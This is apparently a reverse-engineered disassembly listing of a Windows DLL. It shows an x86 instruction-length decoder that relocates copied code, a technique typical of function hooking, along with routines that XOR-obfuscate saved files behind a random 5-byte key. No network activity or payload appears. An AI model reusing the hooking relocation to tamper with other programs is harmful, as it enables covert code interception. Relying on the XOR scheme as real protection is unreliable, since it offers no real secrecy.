loc_100185D1:				; CODE XREF: sub_100185B9+13j
		mov	edx, [esp+4+arg_4]
		mov	[eax+0Ch], ecx
		cmp	edx, esi
		jnz	short loc_100185DF
		lea	edx, [eax+14h]


loc_100185DF:				; CODE XREF: sub_100185B9+21j
		mov	[eax+10h], edx
		mov	[ecx], esi
		mov	ecx, [eax+10h]
		mov	[ecx], esi
		pop	esi
		retn	8
sub_100185B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_100185ED	proc near		; CODE XREF: sub_10018593+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_100185F9
		lea	esi, [ecx+1Ch]


loc_100185F9:				; CODE XREF: sub_100185ED+7j
		mov	edx, [esp+4+arg_4]
		test	edx, edx
		jnz	short loc_1001860D
		push	0Dh		; dwErrCode
		call	ds:SetLastError
		xor	eax, eax
		jmp	short loc_1001861D
; ---------------------------------------------------------------------------


loc_1001860D:				; CODE XREF: sub_100185ED+12j
		movzx	eax, byte ptr [edx]
		push	edx
		push	esi
		lea	eax, dword_1001E728[eax*8]
		push	eax
		call	dword ptr [eax+4]


loc_1001861D:				; CODE XREF: sub_100185ED+1Ej
		pop	esi
		retn	8
sub_100185ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10018621(int, void *Dst, void *Src)

sub_10018621	proc near		; CODE XREF: sub_10018714+13p
					; sub_100187F7+13p ...

var_C		= dword	ptr -0Ch
Size		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
Dst		= dword	ptr  0Ch
Src		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_C], ecx
		mov	eax, [eax]
		test	eax, 20000000h
		jz	short loc_1001863D
		cmp	dword ptr [ecx+4], 0
		jmp	short loc_10018640
; ---------------------------------------------------------------------------


loc_1001863D:				; CODE XREF: sub_10018621+14j
		cmp	dword ptr [ecx], 0


loc_10018640:				; CODE XREF: sub_10018621+1Aj
		mov	esi, eax
		jz	short loc_10018649
		shr	esi, 0Ch
		jmp	short loc_1001864C
; ---------------------------------------------------------------------------


loc_10018649:				; CODE XREF: sub_10018621+21j
		shr	esi, 8


loc_1001864C:				; CODE XREF: sub_10018621+26j
		push	ebx
		mov	ebx, eax
		and	esi, 0Fh
		push	edi
		shl	ebx, 8
		sar	ebx, 1Ch
		mov	edi, esi
		mov	[ebp+Size], esi
		sub	edi, ebx
		test	eax, 0F0000h
		jbe	short loc_100186B5
		mov	ecx, [ebp+Src]
		shr	eax, 10h
		and	eax, 0Fh
		add	eax, ecx
		mov	cl, [eax]
		mov	[ebp+var_1], cl
		movzx	ecx, cl
		mov	cl, ds:byte_1001E628[ecx]
		mov	dl, cl
		and	edx, 0Fh
		add	edx, esi
		test	cl, 10h
		mov	[ebp+Size], edx
		jz	short loc_100186B5
		mov	al, [eax+1]
		and	al, 7
		cmp	al, 5
		jnz	short loc_100186B0
		mov	al, [ebp+var_1]
		and	al, 0C0h
		jz	short loc_100186AC
		cmp	al, 40h
		jnz	short loc_100186A8
		inc	[ebp+Size]
		jmp	short loc_100186B0
; ---------------------------------------------------------------------------


loc_100186A8:				; CODE XREF: sub_10018621+80j
		cmp	al, 80h
		jnz	short loc_100186B0


loc_100186AC:				; CODE XREF: sub_10018621+7Cj
		add	[ebp+Size], 4


loc_100186B0:				; CODE XREF: sub_10018621+75j
					; sub_10018621+85j ...
		mov	edi, [ebp+Size]
		sub	edi, ebx


loc_100186B5:				; CODE XREF: sub_10018621+44j
					; sub_10018621+6Cj
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+Dst]	; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		test	ebx, ebx
		jz	short loc_100186E4
		push	edi
		push	ebx
		push	esi
		mov	esi, [ebp+var_C]
		push	[ebp+Src]
		mov	ecx, esi
		push	[ebp+Dst]
		call	sub_10018749
		mov	ecx, [esi+0Ch]
		mov	[ecx], eax
		jmp	short loc_100186E7
; ---------------------------------------------------------------------------


loc_100186E4:				; CODE XREF: sub_10018621+A7j
		mov	esi, [ebp+var_C]


loc_100186E7:				; CODE XREF: sub_10018621+C1j
		mov	ecx, [ebp+arg_0]
		pop	edi
		pop	ebx
		test	byte ptr [ecx+3], 40h
		jz	short loc_100186FB
		mov	eax, [esi+10h]
		mov	edx, [eax]
		neg	edx
		mov	[eax], edx


loc_100186FB:				; CODE XREF: sub_10018621+CFj
		test	byte ptr [ecx+3], 10h
		jz	short loc_10018707
		mov	eax, [esi+0Ch]
		or	dword ptr [eax], 0FFFFFFFFh


loc_10018707:				; CODE XREF: sub_10018621+DEj
		mov	eax, [ebp+Size]
		mov	ecx, [ebp+Src]
		add	eax, ecx
		pop	esi
		leave
		retn	0Ch
sub_10018621	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_10018714(int, void *Dst, void *Src)

sub_10018714	proc near		; CODE XREF: sub_1001882C+12p
					; sub_10018846+13p
					; DATA XREF: ...

arg_0		= dword	ptr  4
Dst		= dword	ptr  8
Src		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+Src]
		push	edi
		mov	edi, [esp+0Ch+Dst]
		push	esi		; Src
		push	edi		; Dst
		mov	ebx, ecx
		push	[esp+14h+arg_0]	; int
		call	sub_10018621
		movzx	ecx, byte ptr [esi+1]
		lea	eax, [esi+1]
		inc	edi
		lea	edx, dword_1001E728[ecx*8]
		push	eax
		push	edi
		push	edx
		mov	ecx, ebx
		call	dword ptr [edx+4]
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_10018714	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018749	proc near		; CODE XREF: sub_10018621+B7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	edx, edx
		push	edi
		lea	esi, [ebx+eax]
		mov	eax, [ebp+arg_10]
		dec	eax
		jz	short loc_10018775
		dec	eax
		jz	short loc_10018770
		dec	eax
		dec	eax
		jz	short loc_1001876C
		sub	eax, 4
		jnz	short loc_10018778


loc_1001876C:				; CODE XREF: sub_10018749+1Cj
		mov	edx, [esi]
		jmp	short loc_10018778
; ---------------------------------------------------------------------------


loc_10018770:				; CODE XREF: sub_10018749+18j
		movsx	edx, word ptr [esi]
		jmp	short loc_10018778
; ---------------------------------------------------------------------------


loc_10018775:				; CODE XREF: sub_10018749+15j
		movsx	edx, byte ptr [esi]


loc_10018778:				; CODE XREF: sub_10018749+21j
					; sub_10018749+25j ...
		mov	edi, [ebp+arg_4]
		lea	eax, [edx+edi]
		sub	edx, ebx
		add	eax, [ebp+arg_8]
		add	edx, edi
		mov	edi, [ebp+arg_10]
		dec	edi
		jz	short loc_100187D3
		dec	edi
		jz	short loc_100187B5
		dec	edi
		dec	edi
		jz	short loc_1001879B
		sub	edi, 4
		jnz	short loc_100187E8
		mov	[esi], edx
		jmp	short loc_100187E8
; ---------------------------------------------------------------------------


loc_1001879B:				; CODE XREF: sub_10018749+47j
		cmp	edx, 80000000h
		mov	[esi], edx
		jl	short loc_100187AD
		cmp	edx, 7FFFFFFFh
		jle	short loc_100187E8


loc_100187AD:				; CODE XREF: sub_10018749+5Aj
		mov	ecx, [ecx+10h]
		and	dword ptr [ecx], 0
		jmp	short loc_100187E8
; ---------------------------------------------------------------------------


loc_100187B5:				; CODE XREF: sub_10018749+43j
		cmp	edx, 0FFFF8000h
		mov	[esi], dx
		jl	short loc_100187C8
		cmp	edx, 7FFFh
		jle	short loc_100187E8


loc_100187C8:				; CODE XREF: sub_10018749+75j
		mov	ecx, [ecx+10h]
		mov	dword ptr [ecx], 2
		jmp	short loc_100187E8
; ---------------------------------------------------------------------------


loc_100187D3:				; CODE XREF: sub_10018749+40j
		cmp	edx, 0FFFFFF80h
		mov	[esi], dl
		jl	short loc_100187DF
		cmp	edx, 7Fh
		jle	short loc_100187E8


loc_100187DF:				; CODE XREF: sub_10018749+8Fj
		mov	ecx, [ecx+10h]
		mov	dword ptr [ecx], 3


loc_100187E8:				; CODE XREF: sub_10018749+4Cj
					; sub_10018749+50j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	14h
sub_10018749	endp


; =============== S U B	R O U T	I N E =======================================



sub_100187EF	proc near		; DATA XREF: .rdata:1001EDDCo
					; .rdata:1001EEB4o ...

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		inc	eax
		retn	0Ch
sub_100187EF	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100187F7(int, void *Dst, void *Src)

sub_100187F7	proc near		; DATA XREF: .rdata:1001E7A4o

arg_0		= dword	ptr  4
Dst		= dword	ptr  8
Src		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+Src]
		push	edi
		mov	edi, [esp+0Ch+Dst]
		push	esi		; Src
		push	edi		; Dst
		mov	ebx, ecx
		push	[esp+14h+arg_0]	; int
		call	sub_10018621
		movzx	ecx, byte ptr [esi+1]
		lea	eax, [esi+1]
		inc	edi
		lea	edx, dword_1001EF30[ecx*8]
		push	eax
		push	edi
		push	edx
		mov	ecx, ebx
		call	dword ptr [edx+4]
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_100187F7	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001882C(int, void *Dst, void *Src)

sub_1001882C	proc near		; DATA XREF: .rdata:1001EA5Co

arg_0		= dword	ptr  4
Dst		= dword	ptr  8
Src		= dword	ptr  0Ch

		push	[esp+Src]	; Src
		mov	dword ptr [ecx], 1
		push	[esp+4+Dst]	; Dst
		push	[esp+8+arg_0]	; int
		call	sub_10018714
		retn	0Ch
sub_1001882C	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_10018846(int, void *Dst, void *Src)

sub_10018846	proc near		; DATA XREF: .rdata:1001EA64o

arg_0		= dword	ptr  4
Dst		= dword	ptr  8
Src		= dword	ptr  0Ch

		push	[esp+Src]	; Src
		mov	dword ptr [ecx+4], 1
		push	[esp+4+Dst]	; Dst
		push	[esp+8+arg_0]	; int
		call	sub_10018714
		retn	0Ch
sub_10018846	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10018861(int, void *Dst, void *Src)

sub_10018861	proc near		; DATA XREF: .rdata:1001EEDCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  0Ch
Src		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+Src]
		test	byte ptr [eax+1], 38h
		jnz	short loc_10018887
		push	eax
		mov	[ebp+var_8], 10133F6h
		push	[ebp+Dst]
		mov	[ebp+var_4], offset sub_10018621
		lea	eax, [ebp+var_8]
		jmp	short loc_1001889C
; ---------------------------------------------------------------------------


loc_10018887:				; CODE XREF: sub_10018861+Dj
		push	eax		; Src
		mov	[ebp+var_10], 122F6h
		push	[ebp+Dst]	; Dst
		mov	[ebp+var_C], offset sub_10018621
		lea	eax, [ebp+var_10]


loc_1001889C:				; CODE XREF: sub_10018861+24j
		push	eax		; int
		call	sub_10018621
		leave
		retn	0Ch
sub_10018861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100188A6(int, void *Dst, void *Src)

sub_100188A6	proc near		; DATA XREF: .rdata:1001EEE4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  0Ch
Src		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+Src]
		test	byte ptr [eax+1], 38h
		jnz	short loc_100188CC
		push	eax
		mov	[ebp+var_8], 40146F7h
		push	[ebp+Dst]
		mov	[ebp+var_4], offset sub_10018621
		lea	eax, [ebp+var_8]
		jmp	short loc_100188E1
; ---------------------------------------------------------------------------


loc_100188CC:				; CODE XREF: sub_100188A6+Dj
		push	eax		; Src
		mov	[ebp+var_10], 122F7h
		push	[ebp+Dst]	; Dst
		mov	[ebp+var_C], offset sub_10018621
		lea	eax, [ebp+var_10]


loc_100188E1:				; CODE XREF: sub_100188A6+24j
		push	eax		; int
		call	sub_10018621
		leave
		retn	0Ch
sub_100188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100188EB(int, void *Dst, void *Src)

sub_100188EB	proc near		; DATA XREF: .rdata:1001EF24o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  0Ch
Src		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+Src]
		mov	al, [edx+1]
		cmp	al, 15h
		jz	short loc_10018918
		cmp	al, 25h
		jz	short loc_10018918
		and	al, 38h
		cmp	al, 10h
		jz	short loc_10018910
		cmp	al, 18h
		jz	short loc_10018910
		cmp	al, 20h
		jz	short loc_10018910
		cmp	al, 28h
		jnz	short loc_10018924


loc_10018910:				; CODE XREF: sub_100188EB+17j
					; sub_100188EB+1Bj ...
		mov	eax, [ecx+0Ch]
		or	dword ptr [eax], 0FFFFFFFFh
		jmp	short loc_10018924
; ---------------------------------------------------------------------------


loc_10018918:				; CODE XREF: sub_100188EB+Dj
					; sub_100188EB+11j
		mov	eax, [edx+2]
		push	esi
		mov	esi, [ecx+0Ch]
		mov	eax, [eax]
		mov	[esi], eax
		pop	esi


loc_10018924:				; CODE XREF: sub_100188EB+23j
					; sub_100188EB+2Bj
		push	edx		; Src
		lea	eax, [ebp+var_8]
		push	[ebp+Dst]	; Dst
		mov	[ebp+var_8], 122FFh
		mov	[ebp+var_4], offset sub_10018621
		push	eax		; int
		call	sub_10018621
		leave
		retn	0Ch
sub_100188EB	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_10018943(void	*lpv, int iSize)

sub_10018943	proc near		; CODE XREF: sub_1001A057+101p
					; sub_1001AB59+30p

lpv		= dword	ptr  4
iSize		= dword	ptr  8

		push	0		; lpiResult
		push	[esp+4+iSize]	; iSize
		push	[esp+8+lpv]	; lpv
		call	ds:IsTextUnicode	; IsTextUnicode
		retn
sub_10018943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10018954(LPCWSTR lpWideCharStr)

sub_10018954	proc near		; CODE XREF: sub_1001A057+136p

var_8		= dword	ptr -8
CodePage	= dword	ptr -4
lpWideCharStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	Count, 1
		push	esi
		push	edi
		mov	[ebp+CodePage],	ebx
		jnz	short loc_10018971
		mov	[ebp+CodePage],	0FDE9h


loc_10018971:				; CODE XREF: sub_10018954+14j
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebx		; cbMultiByte
		push	ebx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	edi, ds:WideCharToMultiByte
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	ebx		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	edi ; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, ebx
		jge	short loc_10018990
		xor	eax, eax
		jmp	short loc_100189B3
; ---------------------------------------------------------------------------


loc_10018990:				; CODE XREF: sub_10018954+36j
		lea	eax, [esi+1]
		push	eax		; Size
		call	ds:malloc	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	ebx		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	edi ; WideCharToMultiByte
		mov	eax, [ebp+var_8]
		mov	[eax+esi], bl


loc_100189B3:				; CODE XREF: sub_10018954+3Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018954	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100189B8(char	*Filename)

sub_100189B8	proc near		; CODE XREF: sub_1000878F+85p
					; sub_1000A318+15Dp

v		= byte ptr -1A0h
var_19F		= byte ptr -19Fh
DstBuf		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
String2		= byte ptr -0CBh
Filename	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		push	ebx
		push	offset Mode	; "rb"
		push	[ebp+Filename]	; Filename
		call	ds:fopen	; fopen
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	loc_10018A88
		and	[ebp+DstBuf], 0
		push	esi
		push	edi
		push	33h
		pop	ecx
		xor	eax, eax
		and	[ebp+v], al
		lea	edi, [ebp+var_CF]
		rep stosd
		push	33h
		lea	edi, [ebp+var_19F]
		pop	ecx
		rep stosd
		push	ebx		; File
		push	0C8h		; Count
		lea	eax, [ebp+DstBuf]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	ds:fread	; fread
		add	esp, 10h
		mov	esi, eax
		push	5
		pop	eax
		cmp	esi, eax
		jle	short loc_10018A3F


loc_10018A24:				; CODE XREF: sub_100189B8+85j
		xor	ecx, ecx


loc_10018A26:				; CODE XREF: sub_100189B8+80j
		mov	dl, [ebp+ecx+DstBuf]
		xor	[ebp+eax+DstBuf], dl
		inc	ecx
		cmp	ecx, 5
		jl	short loc_10018A26
		inc	eax
		cmp	eax, esi
		jl	short loc_10018A24


loc_10018A3F:				; CODE XREF: sub_100189B8+6Aj
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		lea	eax, [ebp+v]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	al, byte_10023EED
		push	eax
		mov	al, byte_10023EEC
		push	eax
		push	1		; char
		lea	eax, [ebp+v]
		push	esi		; iSize
		push	eax		; lpv
		call	sub_1001AB59
		add	esp, 0Ch
		push	eax
		call	sub_1001AAF4
		push	ebx		; File
		call	ds:fclose	; fclose
		add	esp, 10h
		push	1
		pop	eax
		pop	edi
		pop	esi
		jmp	short loc_10018A8A
; ---------------------------------------------------------------------------


loc_10018A88:				; CODE XREF: sub_100189B8+1Ej
		xor	eax, eax


loc_10018A8A:				; CODE XREF: sub_100189B8+CEj
		pop	ebx
		leave
		retn
sub_100189B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10018A8D	proc near		; DATA XREF: .data:10022018o

; FUNCTION CHUNK AT 10018A9F SIZE 0000000C BYTES

		call	sub_10018A97
		jmp	loc_10018A9F
sub_10018A8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_10018A97	proc near		; CODE XREF: sub_10018A8Dp
		and	dword_10073FF0,	0
		retn
sub_10018A97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10018A8D


loc_10018A9F:				; CODE XREF: sub_10018A8D+5j
		push	offset sub_10018AAB ; void (__cdecl *)()
		call	_atexit
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_10018A8D

; =============== S U B	R O U T	I N E =======================================


; void __cdecl sub_10018AAB()

sub_10018AAB	proc near		; DATA XREF: sub_10018A8D:loc_10018A9Fo
		test	byte_10073FF4, 1
		jnz	short locret_10018AC5
		or	byte_10073FF4, 1
		mov	ecx, offset dword_10073FF0
		jmp	sub_1001A728
; ---------------------------------------------------------------------------

locret_10018AC5:			; CODE XREF: sub_10018AAB+7j
		retn
sub_10018AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10018AC6(char *Str,	int, void *Memory)

sub_10018AC6	proc near		; CODE XREF: sub_1000A318+391p

String		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
Size		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
File		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Memory		= dword	ptr  10h

		mov	eax, offset loc_1001D240
		call	_EH_prolog	; _EH_prolog
		sub	esp, 98h
		and	[ebp+String], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_A3]
		mov	[ebp+var_20], ebx
		rep stosd
		stosw
		stosb
		xor	edi, edi
		cmp	[ebx], edi
		jz	loc_10018CF9
		push	offset aWb	; "wb"
		push	[ebp+Str]	; Filename
		call	ds:fopen	; fopen
		pop	ecx
		cmp	eax, edi
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_10018B1D
		push	10h
		jmp	loc_10018CEC
; ---------------------------------------------------------------------------


loc_10018B1D:				; CODE XREF: sub_10018AC6+4Ej
		mov	ecx, ebx
		call	sub_1001AADF
		mov	esi, ds:fwrite
		test	al, al
		jnz	loc_10018BD2
		mov	eax, [ebx]
		cmp	[eax], edi
		jnz	short loc_10018B69
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		mov	ecx, ebx
		call	sub_1001AAAC
		mov	ecx, eax
		mov	[ebp+var_4], edi
		call	sub_1001AADF
		mov	bl, al
		lea	ecx, [ebp+var_24]
		neg	bl
		sbb	bl, bl
		or	[ebp+var_4], 0FFFFFFFFh
		inc	bl
		call	sub_1001A728
		test	bl, bl
		mov	ebx, [ebp+var_20]
		jz	short loc_10018BD2


loc_10018B69:				; CODE XREF: sub_10018AC6+70j
		mov	eax, Count
		cmp	eax, 1
		jnz	short loc_10018B9D
		push	[ebp+File]	; File
		mov	byte ptr [ebp+Str], 0EFh
		mov	byte ptr [ebp+Str+1], 0BBh
		mov	byte ptr [ebp+Str+2], 0BFh
		push	eax		; Count
		lea	eax, [ebp+Str]
		push	3		; Size
		push	eax		; Str
		call	esi ; fwrite
		add	esp, 10h
		test	eax, eax
		jz	loc_10018CEA
		mov	eax, offset aUtf8 ; "utf-8"
		jmp	short loc_10018BAA
; ---------------------------------------------------------------------------


loc_10018B9D:				; CODE XREF: sub_10018AC6+ABj
		cmp	eax, 3
		mov	eax, offset aShiftJis ;	"SHIFT-JIS"
		jz	short loc_10018BAA
		mov	eax, [ebp+arg_4]


loc_10018BAA:				; CODE XREF: sub_10018AC6+D5j
					; sub_10018AC6+DFj
		test	eax, eax
		jnz	short loc_10018BB3
		mov	eax, offset aIso88591 ;	"ISO-8859-1"


loc_10018BB3:				; CODE XREF: sub_10018AC6+E6j
		push	eax
		lea	eax, [ebp+String]
		push	offset a?xmlVersion1_0 ; "<?xml	version=\"1.0\"	encoding=\"%s\"?>\n"
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_10018BFF
		jmp	loc_10018CEA
; ---------------------------------------------------------------------------


loc_10018BD2:				; CODE XREF: sub_10018AC6+66j
					; sub_10018AC6+A1j
		cmp	Count, 1
		jnz	short loc_10018BFF
		push	[ebp+File]	; File
		lea	eax, [ebp+Str]
		mov	byte ptr [ebp+Str], 0EFh
		mov	byte ptr [ebp+Str+1], 0BBh
		push	1		; Count
		push	3		; Size
		push	eax		; Str
		mov	byte ptr [ebp+Str+2], 0BFh
		call	esi ; fwrite
		add	esp, 10h
		test	eax, eax
		jz	loc_10018CEA


loc_10018BFF:				; CODE XREF: sub_10018AC6+105j
					; sub_10018AC6+113j
		and	[ebp+var_18], 0
		xor	eax, eax
		lea	edi, [ebp+var_17]
		mov	ecx, ebx
		stosd
		lea	eax, [ebp+Size]
		push	eax
		movsx	eax, byte ptr [ebp+Memory]
		push	eax
		call	sub_1001A6C0
		xor	ebx, ebx
		mov	[ebp+Memory], eax
		push	ebx		; Time
		call	ds:time	; time
		push	eax		; Seed
		call	ds:srand	; srand
		pop	ecx
		xor	edi, edi
		pop	ecx


loc_10018C30:				; CODE XREF: sub_10018AC6+180j
		call	ds:rand	; rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		inc	edi
		cmp	edi, 5
		mov	byte ptr [ebp+edi+Size+3], al
		jl	short loc_10018C30
		push	[ebp+File]	; File
		lea	eax, [ebp+var_18]
		push	1		; Count
		push	5		; Size
		push	eax		; Str
		call	esi ; fwrite
		mov	edi, ds:lstrlenA
		add	esp, 10h
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	edi ; lstrlenA
		test	eax, eax
		jle	short loc_10018C8C


loc_10018C6B:				; CODE XREF: sub_10018AC6+1C4j
		xor	eax, eax


loc_10018C6D:				; CODE XREF: sub_10018AC6+1B6j
		mov	cl, [ebp+eax+var_18]
		xor	[ebp+ebx+String], cl
		inc	eax
		cmp	eax, 5
		jl	short loc_10018C6D
		lea	eax, [ebp+String]
		inc	ebx
		push	eax		; lpString
		call	edi ; lstrlenA
		cmp	ebx, eax
		jl	short loc_10018C6B


loc_10018C8C:				; CODE XREF: sub_10018AC6+1A3j
		push	[ebp+File]	; File
		lea	eax, [ebp+String]
		push	1		; Count
		push	eax		; lpString
		call	edi ; lstrlenA
		push	eax		; Size
		lea	eax, [ebp+String]
		push	eax		; Str
		call	esi ; fwrite
		xor	eax, eax
		add	esp, 10h
		cmp	[ebp+Size], eax
		jle	short loc_10018CC8


loc_10018CAE:				; CODE XREF: sub_10018AC6+200j
		mov	edx, [ebp+Memory]
		xor	ecx, ecx
		lea	edi, [eax+edx]


loc_10018CB6:				; CODE XREF: sub_10018AC6+1FAj
		mov	dl, [ebp+ecx+var_18]
		xor	[edi], dl
		inc	ecx
		cmp	ecx, 5
		jl	short loc_10018CB6
		inc	eax
		cmp	eax, [ebp+Size]
		jl	short loc_10018CAE


loc_10018CC8:				; CODE XREF: sub_10018AC6+1E6j
		push	[ebp+File]	; File
		push	1		; Count
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Str
		call	esi ; fwrite
		add	esp, 10h
		test	eax, eax
		jz	short loc_10018CEA
		push	[ebp+File]	; File
		call	ds:fclose	; fclose
		test	eax, eax
		pop	ecx
		jz	short loc_10018CEF


loc_10018CEA:				; CODE XREF: sub_10018AC6+CAj
					; sub_10018AC6+107j ...
		push	11h


loc_10018CEC:				; CODE XREF: sub_10018AC6+52j
		pop	eax
		jmp	short loc_10018CFB
; ---------------------------------------------------------------------------


loc_10018CEF:				; CODE XREF: sub_10018AC6+222j
		push	[ebp+Memory]	; Memory
		call	ds:free	; free
		pop	ecx


loc_10018CF9:				; CODE XREF: sub_10018AC6+33j
		xor	eax, eax


loc_10018CFB:				; CODE XREF: sub_10018AC6+227j
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_10018AC6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_10018D0C(char	*Src, size_t Size)

sub_10018D0C	proc near		; CODE XREF: sub_1001954D+83p
					; sub_10019709+FFp ...

Src		= dword	ptr  4
Size		= dword	ptr  8

		cmp	[esp+Src], 0
		jnz	short loc_10018D16
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_10018D16:				; CODE XREF: sub_10018D0C+5j
		push	esi
		mov	esi, [esp+4+Size]
		test	esi, esi
		push	edi
		jnz	short loc_10018D2C
		push	[esp+8+Src]	; Str
		call	strlen	; strlen
		pop	ecx
		mov	esi, eax


loc_10018D2C:				; CODE XREF: sub_10018D0C+12j
		lea	eax, [esi+1]
		push	eax		; Size
		call	ds:malloc	; malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_10018D4F
		push	esi		; Size
		push	[esp+0Ch+Src]	; Src
		push	edi		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		and	byte ptr [edi+esi], 0


loc_10018D4F:				; CODE XREF: sub_10018D0C+2Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_10018D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10018D54(char	*Dest, int)

sub_10018D54	proc near		; CODE XREF: sub_1001A22D+119p
					; sub_1001A22D+33Cp ...

Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+Dest]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+Dest], esi
		mov	al, [edi]
		test	al, al
		jz	short loc_10018DC8
		push	ebx


loc_10018D69:				; CODE XREF: sub_10018D54+71j
		cmp	al, byte_10023F40
		mov	ebx, offset off_10023F38
		jz	short loc_10018D83


loc_10018D76:				; CODE XREF: sub_10018D54+2Dj
		add	ebx, 0Ch
		cmp	dword ptr [ebx], 0
		jz	short loc_10018D92
		cmp	al, [ebx+8]
		jnz	short loc_10018D76


loc_10018D83:				; CODE XREF: sub_10018D54+20j
		push	dword ptr [ebx]	; Source
		push	esi		; Dest
		call	strcpy	; strcpy
		add	esi, [ebx+4]
		pop	ecx
		pop	ecx
		jmp	short loc_10018DC0
; ---------------------------------------------------------------------------


loc_10018D92:				; CODE XREF: sub_10018D54+28j
		mov	edx, off_10023F80
		movzx	ecx, al
		movsx	ecx, byte ptr [ecx+edx]
		dec	ecx
		jz	short loc_10018DBB
		dec	ecx
